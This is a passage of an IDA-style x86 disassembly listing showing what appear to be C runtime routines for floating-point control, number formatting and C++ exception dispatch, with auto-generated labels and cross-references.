push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_4217E9
lea eax, [ebp+var_20]
push eax
call sub_42401D
add esp, 0Ch
test eax, eax
jnz short loc_4215DB
push esi
call sub_4215FE
pop ecx
loc_4215DB: ; CODE XREF: sub_421576+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_421576+14j
push 0FFFFh
push [ebp+arg_20]
call sub_4217E9
push [ebp+arg_0]
call sub_4215FE
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421576 endp
; =============== S U B R O U T I N E =======================================
sub_4215FE proc near ; CODE XREF: sub_421014+7Dp
; sub_421576+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421619
jle short locret_421623
cmp eax, 3
jg short locret_421623
mov dword_4DB958, 22h
retn
; ---------------------------------------------------------------------------
loc_421619: ; CODE XREF: sub_4215FE+7j
mov dword_4DB958, 21h
locret_421623: ; CODE XREF: sub_4215FE+9j
; sub_4215FE+Ej
retn
sub_4215FE endp
; =============== S U B R O U T I N E =======================================
sub_421624 proc near ; CODE XREF: sub_421576+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43CE68
loc_42162B: ; CODE XREF: sub_421624+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421641
add eax, 8
inc ecx
cmp eax, offset dbl_43CF40
jl short loc_42162B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421641: ; CODE XREF: sub_421624+Dj
mov eax, off_43CE6C[ecx*8]
retn
sub_421624 endp
; =============== S U B R O U T I N E =======================================
sub_421649 proc near ; CODE XREF: sub_421014+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421655
push 5
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421655: ; CODE XREF: sub_421649+6j
test al, 8
jz short loc_42165D
push 1
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_42165D: ; CODE XREF: sub_421649+Ej
test al, 4
jz short loc_421665
push 2
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421665: ; CODE XREF: sub_421649+16j
test al, 1
jz short loc_42166D
push 3
loc_42166B: ; CODE XREF: sub_421649+Aj
; sub_421649+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: sub_421649+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421649 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421676(double)
sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp
; sub_41C7BF:loc_41C845p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421676 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421688(double,int)
sub_421688 proc near ; CODE XREF: sub_42170B+82p
; sub_42170B+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421688 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216B1 proc near ; CODE XREF: sub_41C679+31p
; sub_41C7BF+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4216C8
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 1
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216C8: ; CODE XREF: sub_4216B1+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_4216DA
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 2
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216DA: ; CODE XREF: sub_4216B1+11j
; sub_4216B1+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_4216ED
push 3
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216ED: ; CODE XREF: sub_4216B1+36j
cmp cx, 7FF0h
jnz short loc_421707
test [ebp+arg_4], 7FFFFh
jnz short loc_421702
cmp [ebp+arg_0], edx
jz short loc_421707
loc_421702: ; CODE XREF: sub_4216B1+4Aj
push 4
loc_421704: ; CODE XREF: sub_4216B1+15j
; sub_4216B1+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_4216B1+41j
; sub_4216B1+4Fj
xor eax, eax
pop ebp
retn
sub_4216B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42170B(double,int)
sub_42170B proc near ; CODE XREF: sub_42135F+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427878
push esi
fnstsw ax
sahf
jnz short loc_42172B
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4217C1
; ---------------------------------------------------------------------------
loc_42172B: ; CODE XREF: sub_42170B+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42179A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421743
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42179A
loc_421743: ; CODE XREF: sub_42170B+31j
fld [ebp+arg_0]
fcomp dbl_427878
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_42175B
push 1
pop eax
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_42175B: ; CODE XREF: sub_42170B+49j
xor eax, eax
loc_42175D: ; CODE XREF: sub_42170B+4Ej
; sub_42170B+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_421776
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_421770
or dword ptr [ebp+arg_0+4], 1
loc_421770: ; CODE XREF: sub_42170B+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_421776: ; CODE XREF: sub_42170B+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_421784
or byte ptr [ebp+arg_0+7], 80h
loc_421784: ; CODE XREF: sub_42170B+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4217C1
; ---------------------------------------------------------------------------
loc_42179A: ; CODE XREF: sub_42170B+28j
; sub_42170B+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4217C1: ; CODE XREF: sub_42170B+1Bj
; sub_42170B+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_42170B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_4217CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217DA proc near ; CODE XREF: sub_4210AC+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_4217DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217E9 proc near ; CODE XREF: sub_41C679+13p
; sub_41C679+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_4217E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42180C proc near ; CODE XREF: sub_42135F+1Dp
; sub_42135F+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421823
fld tbyte_43CF68
fistp [ebp+arg_0]
wait
loc_421823: ; CODE XREF: sub_42180C+Bj
test cl, 8
jz short loc_421838
fstsw ax
fld tbyte_43CF68
fstp [ebp+var_8]
wait
fstsw ax
loc_421838: ; CODE XREF: sub_42180C+1Aj
test cl, 10h
jz short loc_421847
fld tbyte_43CF74
fstp [ebp+var_8]
wait
loc_421847: ; CODE XREF: sub_42180C+2Fj
test cl, 4
jz short loc_421855
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_421855: ; CODE XREF: sub_42180C+3Ej
test cl, 20h
jz short locret_421860
fldpi
fstp [ebp+var_8]
wait
locret_421860: ; CODE XREF: sub_42180C+4Cj
leave
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421862 proc near ; CODE XREF: sub_41C748+Fp
push 30000h
push 10000h
call sub_424055
pop ecx
pop ecx
retn
sub_421862 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427888
fstp [ebp+var_8]
fld dbl_427880
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_427710
fnstsw ax
sahf
jbe short loc_4218AE
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4218AE: ; CODE XREF: sub_421874+33j
xor eax, eax
leave
retn
sub_421874 endp
; =============== S U B R O U T I N E =======================================
sub_4218B2 proc near ; CODE XREF: sub_41C748+5p
push offset aKernel32 ; "KERNEL32"
call near ptr 26B0E4Bh
nop
test eax, eax
jz short loc_4218D6
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 26E0353h
test eax, eax
jz short loc_4218D6
push 0
call eax ; sub_41C748
retn
; ---------------------------------------------------------------------------
loc_4218D6: ; CODE XREF: sub_4218B2+Dj
; sub_4218B2+1Dj
jmp sub_421874
sub_4218B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp
; DATA XREF: sub_41C760+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41D74C
cmp eax, 65h
pop ecx
jz short loc_42191B
loc_4218EF: ; CODE XREF: sub_4218DB+3Ej
inc esi
cmp dword_43CBE4, 1
jle short loc_421908
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_421917
; ---------------------------------------------------------------------------
loc_421908: ; CODE XREF: sub_4218DB+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43C9D8
mov al, [ecx+eax*2]
and eax, 4
loc_421917: ; CODE XREF: sub_4218DB+2Bj
test eax, eax
jnz short loc_4218EF
loc_42191B: ; CODE XREF: sub_4218DB+12j
mov cl, byte_43CBE8
mov al, [esi]
mov [esi], cl
inc esi
loc_421926: ; CODE XREF: sub_4218DB+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_421926
pop esi
retn
sub_4218DB endp
; =============== S U B R O U T I N E =======================================
sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p
; DATA XREF: sub_41C760+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43CBE8
mov cl, [eax]
test cl, cl
jz short loc_421951
loc_421945: ; CODE XREF: sub_421935+1Aj
cmp cl, dl
jz short loc_421951
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_421945
loc_421951: ; CODE XREF: sub_421935+Ej
; sub_421935+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_421982
loc_421958: ; CODE XREF: sub_421935+34j
mov cl, [eax]
test cl, cl
jz short loc_42196B
cmp cl, 65h
jz short loc_42196B
cmp cl, 45h
jz short loc_42196B
inc eax
jmp short loc_421958
; ---------------------------------------------------------------------------
loc_42196B: ; CODE XREF: sub_421935+27j
; sub_421935+2Cj ...
mov ecx, eax
loc_42196D: ; CODE XREF: sub_421935+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42196D
cmp [eax], dl
jnz short loc_421978
dec eax
loc_421978: ; CODE XREF: sub_421935+40j
; sub_421935+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_421978
locret_421982: ; CODE XREF: sub_421935+21j
retn
sub_421935 endp
; =============== S U B R O U T I N E =======================================
sub_421983 proc near ; DATA XREF: sub_41C760+28o
; ___:off_43CF90o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427878
fnstsw ax
sahf
jb short loc_421998
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_421998: ; CODE XREF: sub_421983+Fj
xor eax, eax
retn
sub_421983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42199B proc near ; CODE XREF: sub_420510+430p
; DATA XREF: sub_41C760+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4219C4
lea eax, [ebp+var_8]
push eax
call sub_424518
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4219C4: ; CODE XREF: sub_42199B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424545
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42199B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219D9 proc near ; CODE XREF: sub_421C56+17p
; sub_421CA0+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DB9F0, 0
push ebx
push esi
jz short loc_421A0E
mov ebx, [ebp+arg_8]
mov eax, dword_4DB9EC
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_421CF1
pop ecx
pop ecx
jmp short loc_421A46
; ---------------------------------------------------------------------------
loc_421A0E: ; CODE XREF: sub_4219D9+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_4245E9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424572
add esp, 14h
loc_421A46: ; CODE XREF: sub_4219D9+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_421A52
mov byte ptr [eax], 2Dh
inc eax
loc_421A52: ; CODE XREF: sub_4219D9+73j
test ebx, ebx
jle short loc_421A6A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43CBE8
mov eax, edi
pop edi
mov [eax], cl
loc_421A6A: ; CODE XREF: sub_4219D9+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DB9F0, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41BEB0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_421A91
mov byte ptr [ecx], 45h
loc_421A91: ; CODE XREF: sub_4219D9+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_421AD6
mov ebx, [esi+4]
dec ebx
jns short loc_421AA5
neg ebx
mov byte ptr [ecx], 2Dh
loc_421AA5: ; CODE XREF: sub_4219D9+C5j
inc ecx
cmp ebx, 64h
jl short loc_421ABC
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421ABC: ; CODE XREF: sub_4219D9+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_421AD3
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421AD3: ; CODE XREF: sub_4219D9+E7j
add [ecx+1], bl
loc_421AD6: ; CODE XREF: sub_4219D9+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_4219D9 endp
; =============== S U B R O U T I N E =======================================
sub_421ADD proc near ; CODE XREF: sub_421C7D+13p
; sub_421CA0+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DB9F0, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_421B18
mov eax, dword_4DB9F4
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DB9EC
cmp eax, ebx
jnz short loc_421B48
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_421B48
; ---------------------------------------------------------------------------
loc_421B18: ; CODE XREF: sub_421ADD+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_4245E9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424572
add esp, 14h
loc_421B48: ; CODE XREF: sub_421ADD+22j
; sub_421ADD+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_421B56
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_421B56: ; CODE XREF: sub_421ADD+70j
mov eax, [esi+4]
test eax, eax
jg short loc_421B6D
push 1
push edi
call sub_421CF1
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_421B6F
; ---------------------------------------------------------------------------
loc_421B6D: ; CODE XREF: sub_421ADD+7Ej
add edi, eax
loc_421B6F: ; CODE XREF: sub_421ADD+8Ej
test ebx, ebx
jle short loc_421BB4
push 1
push edi
call sub_421CF1
mov al, byte_43CBE8
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_421BB4
cmp byte_4DB9F0, 0
jz short loc_421B99
neg esi
jmp short loc_421B9F
; ---------------------------------------------------------------------------
loc_421B99: ; CODE XREF: sub_421ADD+B6j
neg esi
cmp ebx, esi
jl short loc_421BA1
loc_421B9F: ; CODE XREF: sub_421ADD+BAj
mov ebx, esi
loc_421BA1: ; CODE XREF: sub_421ADD+C0j
push ebx
push edi
call sub_421CF1
push ebx
push 30h
push edi
call sub_41B590
add esp, 14h
loc_421BB4: ; CODE XREF: sub_421ADD+94j
; sub_421ADD+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_421ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BBB proc near ; CODE XREF: sub_421CA0+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_4245E9
mov dword_4DB9EC, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DB9F4, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424572
mov eax, dword_4DB9EC
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DB9F4, ecx
setl cl
mov byte_4DB9F8, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DB9F4, eax
jl short loc_421C41
cmp eax, ebx
jge short loc_421C41
test cl, cl
jz short loc_421C32
loc_421C28: ; CODE XREF: sub_421BBB+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_421C28
and [esi-2], al
loc_421C32: ; CODE XREF: sub_421BBB+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_421C7D
add esp, 0Ch
jmp short loc_421C51
; ---------------------------------------------------------------------------
loc_421C41: ; CODE XREF: sub_421BBB+63j
; sub_421BBB+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_421C56
add esp, 10h
loc_421C51: ; CODE XREF: sub_421BBB+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421BBB endp
; =============== S U B R O U T I N E =======================================
sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DB9F0, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4219D9
and byte_4DB9F0, 0
add esp, 10h
retn
sub_421C56 endp
; =============== S U B R O U T I N E =======================================
sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DB9F0, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_421ADD
and byte_4DB9F0, 0
add esp, 0Ch
retn
sub_421C7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp
; DATA XREF: sub_41C760o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_421CDB
cmp [ebp+arg_8], 45h
jz short loc_421CDB
cmp [ebp+arg_8], 66h
jnz short loc_421CC8
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421ADD
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421CC8: ; CODE XREF: sub_421CA0+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421BBB
jmp short loc_421CEC
; ---------------------------------------------------------------------------
loc_421CDB: ; CODE XREF: sub_421CA0+7j
; sub_421CA0+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4219D9
loc_421CEC: ; CODE XREF: sub_421CA0+39j
add esp, 10h
pop ebp
retn
sub_421CA0 endp
; =============== S U B R O U T I N E =======================================
sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp
; sub_421ADD+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_421D14
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41AFE0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41CC90
add esp, 10h
pop esi
loc_421D14: ; CODE XREF: sub_421CF1+7j
pop edi
retn
sub_421CF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D16 proc near ; CODE XREF: ___:0041C940p
; sub_41C9A9+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_421D2C
call sub_4225B2
loc_421D2C: ; CODE XREF: sub_421D16+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_421D54
cmp dword ptr [esi+4], 0
jz short loc_421DAA
cmp [ebp+arg_14], 0
jnz short loc_421DAA
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_42205D
add esp, 10h
jmp short loc_421DAA
; ---------------------------------------------------------------------------
loc_421D54: ; CODE XREF: sub_421D16+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_421DAA
cmp dword ptr [eax], 0E06D7363h
jnz short loc_421D8E
cmp [eax+14h], edi
jbe short loc_421D8E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_421D8E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_421DAD
; ---------------------------------------------------------------------------
loc_421D8E: ; CODE XREF: sub_421D16+4Aj
; sub_421D16+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_421DB1
add esp, 20h
loc_421DAA: ; CODE XREF: sub_421D16+23j
; sub_421D16+29j ...
push 1
pop eax
loc_421DAD: ; CODE XREF: sub_421D16+76j
pop edi
pop esi
pop ebp
retn
sub_421D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_421DD1
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_421DD6
loc_421DD1: ; CODE XREF: sub_421DB1+16j
call sub_4225B2
loc_421DD6: ; CODE XREF: sub_421DB1+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
mov esi, dword_4DB9FC
test esi, esi
jz loc_421F28
mov eax, dword_4DBA00
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424770
pop ecx
test eax, eax
pop ecx
jnz short loc_421E2C
call sub_4225B2
loc_421E2C: ; CODE XREF: sub_421DB1+74j
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
call sub_4225B2
loc_421E4A: ; CODE XREF: sub_421DB1+41j
; sub_421DB1+46j ...
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz loc_421F2D
cmp [esi+14h], edi
jnz loc_421F2D
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov ebx, eax
loc_421E81: ; CODE XREF: sub_421DB1+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_421F18
cmp [ebx], edi
jg short loc_421F0D
cmp edi, [ebx+4]
jg short loc_421F0D
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_421F0A
